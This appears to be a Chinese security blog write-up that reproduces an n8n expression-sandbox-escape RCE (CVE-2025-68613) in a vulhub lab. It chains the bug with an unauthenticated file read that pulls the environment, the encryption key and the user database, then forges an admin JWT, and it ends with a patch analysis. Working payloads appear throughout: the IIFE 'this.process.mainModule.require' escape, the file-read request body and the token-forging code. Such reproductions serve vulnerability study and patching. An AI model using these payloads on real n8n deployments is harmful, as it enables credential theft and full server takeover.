n8n CVE-2025-68613 表达式沙箱逃逸致 RCE 漏洞复现
原创
Luc1dkilL
Luc1dkilL
蚁景网络安全
2026年11月27日 17:35
湖南
去阅读
1. 漏洞概述
CVE-2025-68613 是 n8n 服务端表达式求值引擎中的一处严重漏洞。n8n 允许用户在节点参数中编写 {{ ... }} 表达式,这些表达式会在工作流运行时由服务端求值。由于求值上下文隔离不足,具备工作流编辑权限的认证用户可以构造恶意表达式逃逸沙箱,访问 Node.js 的 process 全局对象,并通过 child_process.execSync() 以 n8n 进程权限执行任意命令。
本文复现将结合CVE-2026-21858(n8n 表单节点的 Content-Type 混淆导致未授权任意文件读取)进行利用。
2. 环境搭建
此处直接使用vulhub下的环境进行复现:https://github.com/vulhub/vulhub/tree/master/n8n/CVE-2025-68613
docker-compose.yml :
services:
n8n:
image: vulhub/n8n:1.65.0
ports:
- \"5678:5678\"
访问 http://127.0.0.1:5678 即可看到 n8n 界面。靶场预置了管理员账户:
- 邮箱:
[email protected] - 密码:
Vulhub123
同时已激活一个包含文件上传功能的文档提交工作流,表单路径为 /form/vulnerable-form,该表单节点存在 CVE-2026-21858 未授权文件读取。
确认版本:
curl http://127.0.0.1:5678/rest/settings
返回的 data.versionCli 为 1.65.0。本次环境中容器以 root 运行(HOME=/root),且未设置 N8N_EXPRESSION_EVALUATOR,因此使用默认的 tournament 表达式求值器。
3. 漏洞代码成因分析
3.1 表达式求值的调用链
n8n 中节点参数以 = 开头时会被当作表达式处理。
以 Set 节点为例,参数 values.string[0].value 会被 Expression 类解析:
packages/workflow/src/Expression.ts的resolveSimpleParameterValue()负责解析参数,并准备表达式执行上下文;- 同一文件的
renderExpression()对Function.prototype.constructor做临时替换,然后调用evaluateExpression(); packages/workflow/src/ExpressionEvaluatorProxy.ts根据配置选择求值器(1.65.0 默认tournament);@n8n/tournament将被求值的表达式编译为 JavaScript 函数并执行。
n8n 1.65.0 中默认求值器为 tournament,可以在配置 schema 中看到:
n8n 默认表达式求值器为 tournament
启动时由 initExpressionEvaluator() 读取该配置并注册求值器:
initExpressionEvaluator 调用 setEvaluator
ExpressionEvaluatorProxy.ts 中创建 Tournament 实例时,只注册了一个 PrototypeSanitizer 作为 AST 后置钩子:
Tournament 实例与 PrototypeSanitizer
踩坑点:
currentEvaluatorType的初始值是'tmpl',但 CLI 启动时会调用setEvaluator(config.getEnv('expression.evaluator')),而配置默认值是'tournament',因此实际运行使用的是 tournament 求值器。
3.2 n8n 侧原有的防护
Expression.ts 在解析表达式前做了两项防护:
n8n 表达式防护:sanitizer 注入与 constructor 正则
整体流程如下:
- 把
sanitizer注入表达式上下文,供 AST 重写后的计算属性访问调用; - 用正则
/\\.\\s*constructor/gm检查参数中是否出现.constructor,命中则直接抛错; - 调用
renderExpression()执行表达式。
再跟进下renderExpression(),实现如下:
renderExpression 中临时替换 Function.prototype.constructor
在求值期间,n8n 把 Function.prototype.constructor 和 AsyncFunction.prototype.constructor 替换为一个会抛异常的 mock,求值结束后再恢复。其目的是阻断 (function(){}).constructor(\"return process\")() 这类基于构造函数的逃逸。
另一道防护位于 packages/workflow/src/ExpressionSandboxing.ts:
PrototypeSanitizer 与禁用属性列表
forbiddenMembers 只包含四个属性:
const forbiddenMembers = ['__proto__', 'prototype', 'constructor', 'getPrototypeOf'];
PrototypeSanitizer 遍历 AST 中的成员表达式,拦截对上述属性的静态访问,并对非字面量的计算属性访问插入 __sanitize() 检查。
3.3 求值器内部:new Function 与 this
n8n 1.65.0 的 packages/workflow/package.json 依赖 \"@n8n/tournament\": \"1.0.5\"。该依赖安装后位于 node_modules/@n8n/tournament/dist/FunctionEvaluator.js,其 FunctionEvaluator 使用 new Function 编译表达式(下图为从 npm 提取的同一版本包):
FunctionEvaluator 使用 new Function 编译并 call 执行
关键代码:
getFunction(expr) {
const [code] = this.instance.getExpressionCode(expr);
const func = new Function('E', code + ';');
return func;
}
evaluate(expr, data) {
const fn = this.getFunction(expr);
return fn.call(data, this.instance.errorHandler);
}
new Function 创建的是非严格模式函数;fn.call(data, ...) 只把最外层的 this 绑定到 n8n 传入的数据对象。表达式内部由用户定义的普通函数(function(){})并不会继承这个绑定:当它以普通函数形式被调用(例如 IIFE),非严格模式下 this 会回退到 Node.js 的全局对象 globalThis。
ExpressionBuilder 中也能看到:当表达式中包含函数时,n8n 会保存 var dataNode = this,并用 .call(this) 包裹参数求值片段,但这只影响生成代码的最外层,不会改变用户函数自身的 this 绑定规则。
3.4 漏洞成因:IIFE 的 this 指向 globalThis
PoC 使用的核心表达式为:
={{ (function(){
var require = this.process.mainModule.require;
var execSync = require(\"child_process\").execSync;
return execSync(\"id\").toString();
})() }}
执行过程:
- 表达式被
new Function编译为非严格函数; - 最外层通过
fn.call(data)执行,此时最外层this是 n8n 的数据对象; - 表达式中的
(function(){ ... })()是一个独立函数表达式,以普通函数方式调用,没有接收者; - 非严格模式下,该函数内的
this指向globalThis(Node.js 全局对象); this.process即 Node 的process,process.mainModule.require可以加载child_process;execSync()以 n8n 进程权限执行系统命令。
这条路径完全不使用 constructor,因此不会触发 .constructor 正则,也不会被 Function.prototype.constructor 的 mock 拦截;process、mainModule、require 也不在 forbiddenMembers 黑名单中,因此可绕过利用。
4. PoC 分析
4.1 整体利用链
未授权文件读取(CVE-2026-21858)
├─ /proc/self/environ → 获取 HOME
├─ $HOME/.n8n/config → 获取 encryptionKey
└─ $HOME/.n8n/database.sqlite → 获取 owner 的 id/email/password
↓
使用 encryptionKey 派生 JWT 密钥,伪造管理员 n8n-auth Cookie
↓
POST /rest/workflows 创建工作流(Set 节点包含恶意表达式)
POST /rest/workflows/{id}/run 执行
GET /rest/executions/{id} 读取命令回显
↓
表达式沙箱逃逸(CVE-2025-68613) → 以 root 执行任意命令
4.2 Payload
未授权文件读取
对表单路径发送 JSON 请求,files 中的 filepath 由服务端直接读取并作为响应内容返回:
def _lfi_payload(self, filepath: str) -> dict:
return {
\"data\": {},
\"files\": {
f\"f-{randstr(6)}\": {
\"filepath\": filepath,
\"originalFilename\": f\"{randstr(8)}.bin\",
\"mimetype\": \"application/octet-stream\",
\"size\": secrets.randbelow(90000) + 10000
}
}
}
利用代码依次读取 /proc/self/environ、$HOME/.n8n/config、$HOME/.n8n/database.sqlite,全程无需登录。
伪造管理员 JWT
n8n 的 JWT 密钥由 encryptionKey 派生:
secret = hashlib.sha256(key[::2].encode()).hexdigest()
h = b64encode(hashlib.sha256(f\"{email}:{pw_hash}\".encode()).digest()).decode()[:10]
self.admin_token = jwt.encode({\"id\": uid, \"hash\": h}, secret, \"HS256\")
key[::2]:取加密密钥的偶数位字符,再做 SHA-256;- 载荷
{id, hash}中的hash由email:password_hash的 SHA-256 前 10 个字符组成; - 伪造出的 token 写入
n8n-authCookie,即可通过/rest/users等管理员接口的鉴权。
工作流创建与执行
利用代码创建一个包含 Manual Trigger 和 Set 节点的工作流,随后调用运行接口并轮询执行结果,从执行数据中提取命令回显。
核心payload
RCE_PAYLOAD = '={{ (function() { var require = this.process.mainModule.require; var execSync = require(\"child_process\").execSync; return execSync(\"CMD\").toString(); })() }}'
CMD 会被替换成实际命令,并放入 Set 节点的 values.string[0].value 参数。工作流通过 /rest/workflows/{id}/run 触发后,表达式在 n8n 服务端求值,命令输出会随执行结果返回。
5. 复现与验证
使用exp进行复现:
- 未认证状态下成功读取了
HOME、加密密钥和 SQLite 数据库; - 用提取到的信息伪造管理员 token,
/rest/users返回成功(Admin access: GRANTED!); - 恶意表达式被成功执行,命令回显为
uid=0(root),容器内为 root 权限。
image-20261115205134704
6. 补丁分析
官方修复提交(如 08f332015153decdda3c37ad4fcb9f7ba13a7c79)新增了 FunctionThisSanitizer,在 AST 阶段重写用户函数,强制其 this 绑定到一个不含真实 process 的空对象:
const EMPTY_CONTEXT = b.objectExpression([
b.property('init', b.identifier('process'), b.objectExpression([])),
]);
// IIFE: (function(x){ ... })(5)
// → (function(x){ ... }).call({ process: {} }, 5)
//
// 回调: [1,2,3].map(function(n){ ... })
// → [1,2,3].map((function(n){ ... }).bind({ process: {} }))
同时,不安全属性列表扩充了 mainModule、binding、_load:
const unsafeObjectProperties = new Set([
'__proto__', 'prototype', 'constructor', 'getPrototypeOf',
'mainModule', 'binding', '_load',
]);
修复后,this.process 只是一个空对象,this.process.mainModule 为 undefined,上述逃逸链失效。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论